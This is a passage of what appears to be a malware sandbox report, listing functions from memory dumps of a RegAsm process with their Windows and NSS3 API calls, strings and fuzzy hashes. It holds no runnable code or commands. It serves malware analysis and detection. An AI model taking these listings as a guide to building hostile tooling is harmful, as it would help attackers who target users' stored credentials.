Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseH_prologHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 1628159694-0
Opcode ID: 7d199ce9356ef0377417996efca7c01708d3c9de5c1f10dab6b3138a100b4ece
Instruction ID: 5f2acf800b5a5b2895469970a7d5816035f4d6a6ea414ef23c52009b04c1d49b
Opcode Fuzzy Hash: 7d199ce9356ef0377417996efca7c01708d3c9de5c1f10dab6b3138a100b4ece
Instruction Fuzzy Hash: 7A314B72901118ABCB21EBA1DC859EFBB7EEF09750F10053AF506F2191D7349A84CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CD5B532
moz_xmalloc.MOZGLUE(?), ref: 6CD5B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CD5B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CD5B57E
free.MOZGLUE(00000000), ref: 6CD5B58F

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 52ce3c2e8457705e2133ab184661db666ed3155bbb689c803a61c315d86d7079
Instruction ID: 732a163f2a135f2902039cd22559c2fc296451d259d2e8691e6eac9cdcf92e9c
Opcode Fuzzy Hash: 52ce3c2e8457705e2133ab184661db666ed3155bbb689c803a61c315d86d7079
Instruction Fuzzy Hash: D8210A71A00205EBDF008F64CC40B6ABBB9FF86304F684129E914DB391E735D911C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE7AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000,00000000), ref: 6CE7ADA7

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000,00000000), ref: 6CE7ADB4

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE73FFF,?,?,?,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000), ref: 6CE7ADD5

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF994B0,?,?,?,?,?,?,?,?,6CE73FFF,00000000,?), ref: 6CE7ADEC

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE73FFF), ref: 6CE7AE3C

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d67c698f716b4db8424df64630ed124a1dfcf80d445b598a0d8f5438e6fa42d4
Instruction ID: 28ae801684712b3c472dbb2d2ecf8faa30cff9fcd40262b6f8af6632637144e4
Opcode Fuzzy Hash: d67c698f716b4db8424df64630ed124a1dfcf80d445b598a0d8f5438e6fa42d4
Instruction Fuzzy Hash: 6D113B71E002045BF7209B65AC41BBF73B8DF5125DF24462CEC1996741FB21E959C2F2

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CDB76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CDB7705

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CDB7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CDB778F,00000000,00000000,00000000,00000000), ref: 6CDB7731
free.MOZGLUE(00000000), ref: 6CDB7760

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 3aeb751ffb8fc01e3ac31c7703ff5086dca9c8e624d2a4cafc861d74d3ad270a
Instruction ID: 08aec348fdeeb69827f2d25ba98af8a065a1939925a47165df68dd5947a23b9c
Opcode Fuzzy Hash: 3aeb751ffb8fc01e3ac31c7703ff5086dca9c8e624d2a4cafc861d74d3ad270a
Instruction Fuzzy Hash: 2C11B2B1E01215ABE710AF768C44BABBEECEF46754F044429F888A7340E7719840C7F2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CEB1E10: TlsGetValue.KERNEL32 ref: 6CEB1E36
Part of subcall function 6CEB1E10: EnterCriticalSection.KERNEL32(?,?,?,6CE8B1EE,2404110F,?,?), ref: 6CEB1E4B
Part of subcall function 6CEB1E10: PR_Unlock.NSS3 ref: 6CEB1E76

free.MOZGLUE(?,6CE9D079,00000000,00000001), ref: 6CE9CDA5
PK11_FreeSymKey.NSS3(?,6CE9D079,00000000,00000001), ref: 6CE9CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE9D079,00000000,00000001), ref: 6CE9CDCF
DeleteCriticalSection.KERNEL32(?,6CE9D079,00000000,00000001), ref: 6CE9CDE2
free.MOZGLUE(?), ref: 6CE9CDE9

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 71ca3877b22aec255cbccb6d6dc1747831165b97ed1133b16ee025117bb920f9
Instruction ID: bb31fd323aefbd3b17a0e8b87336f268a1c00a05b6ec4839b2b26a4986810fc7
Opcode Fuzzy Hash: 71ca3877b22aec255cbccb6d6dc1747831165b97ed1133b16ee025117bb920f9
Instruction Fuzzy Hash: 5E11A0B2B01211ABDE00BEA5EC45AA7B77CBB042AC7200121E909D7E11E732E524C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF02CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF02CEC

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF02D02
PR_EnterMonitor.NSS3(?), ref: 6CF02D1F
PR_ExitMonitor.NSS3(?), ref: 6CF02D42
PR_ExitMonitor.NSS3(?), ref: 6CF02D5B

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 23f86f912ff768e9bfb7f380c60328073ccb2a47c651c982eeb5b5beddab3adf
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AA01A1B1B01200ABE7309E25FC44B87B7A5EB45718F004525E85D86B20EA33F919D6A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF02D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF02D9C

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF02DB2
PR_EnterMonitor.NSS3(?), ref: 6CF02DCF
PR_ExitMonitor.NSS3(?), ref: 6CF02DF2
PR_ExitMonitor.NSS3(?), ref: 6CF02E0B

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 0cccaf9e0bbb8ddb9d9d64ae69b9f440099dd836ed18179c147fa25a76076f01
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4001C4B1B41200ABEB309E25FC05BC7B7A5EF41718F004435E85D86B20DA33F925D6A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD90D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CD53DEF), ref: 6CD90D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CD53DEF), ref: 6CD90D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CD53DEF), ref: 6CD90DAF

Strings

<jemalloc>, xrefs: 6CD90D92, 6CD90DB9
: (malloc) Error in VirtualFree(), xrefs: 6CD90D97, 6CD90DBE

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: c5b9be3f7f15dd4d777e868cd76f2d0517ae43d15f0d46510efeb8ca464af627
Instruction ID: 3885d921c29407c591d39a17797b56563648d3581af20b62f7ea9467c0946b9c
Opcode Fuzzy Hash: c5b9be3f7f15dd4d777e868cd76f2d0517ae43d15f0d46510efeb8ca464af627
Instruction Fuzzy Hash: A2F0E93578029473E72413762C0AF5A665EA7CABA4F354039F744DAEF0DB51F40047A5

Uniqueness

Uniqueness Score: -1.00%

Function 6CF8ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF8A6D8), ref: 6CF8AE0D
free.MOZGLUE(?), ref: 6CF8AE14
DeleteCriticalSection.KERNEL32(6CF8A6D8), ref: 6CF8AE36
free.MOZGLUE(?), ref: 6CF8AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF8A6D8), ref: 6CF8AE47

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 531c1b310c32e96c1975d2922aabf53649ce098ed40c60785ab4084ad2bfadb3
Instruction ID: 7a384ea2269054344456a2a989979165f8935a21f17568ee72a5a67d5bf27af9
Opcode Fuzzy Hash: 531c1b310c32e96c1975d2922aabf53649ce098ed40c60785ab4084ad2bfadb3
Instruction Fuzzy Hash: 06F09675702A01A7CA109FA9D80CA5777B8FF867757140328F52A83980D732E216C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00418551 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041855D

Part of subcall function 00418734: __getptd_noexit.LIBCMT ref: 00418737
Part of subcall function 00418734: __amsg_exit.LIBCMT ref: 00418744

__getptd.LIBCMT ref: 00418574
__amsg_exit.LIBCMT ref: 00418582
__lock.LIBCMT ref: 00418592
__updatetlocinfoEx_nolock.LIBCMT ref: 004185A6

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: b52ac97b17b499e36ec4d7badcbfd6b110389328133dc0c76ff9c5fea13fbc6b
Instruction ID: 5552e8999ae374645eeb3ffba2791da1722fb30d7b4900bddb3c5089173a06d2
Opcode Fuzzy Hash: b52ac97b17b499e36ec4d7badcbfd6b110389328133dc0c76ff9c5fea13fbc6b
Instruction Fuzzy Hash: C1F06235A45210ABD620BB659803BCE32A2EF04728F64411FF510562D2CF3C59C1CA9E

Uniqueness

Uniqueness Score: -1.00%

Function 00407B7B Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 441stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00407B80

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

lstrlen.KERNEL32(00000000), ref: 004080CF
lstrlen.KERNEL32(00000000), ref: 004080E3

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

Part of subcall function 00406798: _EH_prolog.MSVCRT ref: 0040679D
Part of subcall function 00406798: memcmp.MSVCRT ref: 004067C3
Part of subcall function 00406798: memset.MSVCRT ref: 004067F2
Part of subcall function 00406798: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00000000), ref: 00406827

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

#, xrefs: 00408113

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$AllocCreateLocalObjectSingleThreadWaitmemcmpmemset
String ID: #
API String ID: 3207582090-1885708031
Opcode ID: 0beb8ee4e88fba2a0eed7bca50ff0bb3ce46ce834e5df679f0484444bf8fc8c8
Instruction ID: 8343ce48406c67dd54d65245434fdc2d885d91f9d9c17af1f223cf536879f186
Opcode Fuzzy Hash: 0beb8ee4e88fba2a0eed7bca50ff0bb3ce46ce834e5df679f0484444bf8fc8c8
Instruction Fuzzy Hash: 8C129231804148EADF19EBE6D955BEDBB74AF24308F5048AEE001732C2EF781759DB65

Uniqueness

Uniqueness Score: -1.00%

Function 6CD7D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CD8CBE8: GetCurrentProcess.KERNEL32(?,6CD531A7), ref: 6CD8CBF1
Part of subcall function 6CD8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CD531A7), ref: 6CD8CBFA

EnterCriticalSection.KERNEL32(6CDDE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D4F2
LeaveCriticalSection.KERNEL32(6CDDE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D50B

Part of subcall function 6CD5CFE0: EnterCriticalSection.KERNEL32(6CDDE784), ref: 6CD5CFF6
Part of subcall function 6CD5CFE0: LeaveCriticalSection.KERNEL32(6CDDE784), ref: 6CD5D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D52E
EnterCriticalSection.KERNEL32(6CDDE7DC), ref: 6CD7D690
LeaveCriticalSection.KERNEL32(6CDDE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6CD8D1C5), ref: 6CD7D751

Strings

MOZ_CRASH(), xrefs: 6CD7D4BB

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b35a47bb19cff0d7fbfced1be78f26987f59de110c191bb0d90d823e9040eed9
Instruction ID: 4eb77b42e31e9856768f02034fd5b800c08069fffc57be487a7642348427fa3b
Opcode Fuzzy Hash: b35a47bb19cff0d7fbfced1be78f26987f59de110c191bb0d90d823e9040eed9
Instruction Fuzzy Hash: E051E171A047058FE324CF28C49061AB7E5EB89704F558A2ED69AC7FA4D770F844CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CDA46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDA4721

Part of subcall function 6CD54410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CD93EBD,00000017,?,00000000,?,6CD93EBD,?,?,6CD542D2), ref: 6CD54444

Strings

profiler-paused, xrefs: 6CDA46E4
-%llu, xrefs: 6CDA4733
., xrefs: 6CDA476A

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: f702aece719453950c0cb2046f515955a532df61ae7f17663cb9acb87aaa8e59
Instruction ID: b5b2fec87cb50be89805c19656666e581f8ffd50f7f9e29338e0c2cbaf9caf5e
Opcode Fuzzy Hash: f702aece719453950c0cb2046f515955a532df61ae7f17663cb9acb87aaa8e59
Instruction Fuzzy Hash: 90314D71F042089BCB0CDFADD8812ADBBE6DB88314F55813EE8059BB61EB7099058B91

Uniqueness

Uniqueness Score: -1.00%

Function 6CDAB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD54290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CD93EBD,6CD93EBD,00000000), ref: 6CD542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CDAB127), ref: 6CDAB463
